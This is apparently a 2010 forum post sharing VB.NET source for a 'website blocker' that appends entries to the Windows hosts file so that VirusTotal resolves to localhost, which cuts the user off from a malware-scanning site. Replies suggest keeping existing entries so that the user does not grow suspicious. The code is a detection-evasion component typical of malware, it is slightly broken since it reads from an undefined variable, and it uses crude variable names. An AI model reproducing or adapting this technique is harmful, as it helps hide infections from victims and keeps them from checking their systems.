[VB.NET][Source Code] - Website Blocker - Samuell - Mar 27, 2010

Bored out of my mind, decided to throw this together for my friend. This specific example blocks the user from accessing VirusTotal by editing his/her hosts file. Please do note that in order for these changes to take effect you'll need to restart your computer. (Or at the the very least your internet connection).

Source Code:

Code 
Sub WebsiteBlocker()

        Dim hostrape As String

        Dim TheThingThatReadsShit As New StreamReader("C:/windows/system32/drivers/etc/hosts")

        hostrape = fs.ReadToEnd()

        TheThingThatReadsShit.Dispose()

        TheThingThatReadsShit.Close()

        Dim Meltwriter As New StreamWriter("C:/windows/system32/drivers/etc/hosts")

        Meltwriter.WriteLine(hostrape)

        Meltwriter.WriteLine("127.0.0.1                        www.virustotal.com")

        Meltwriter.WriteLine("127.0.0.1                        virustotal.com")

        Meltwriter.Flush()

        Meltwriter.Close()

        Exit Sub

    End Sub

Usage:

Code 
Call WebsiteBlocker()

Isn't the host file instant ?

Why dont you code so it doesnt delete the stuff wich in already in the hosts file? Like mine does :D That would be alot better, as the other could make user suspicous.

Its effect is instant, in internet explorer at least.... as long as all history/dns cache is flushed, it will take effect instantly.
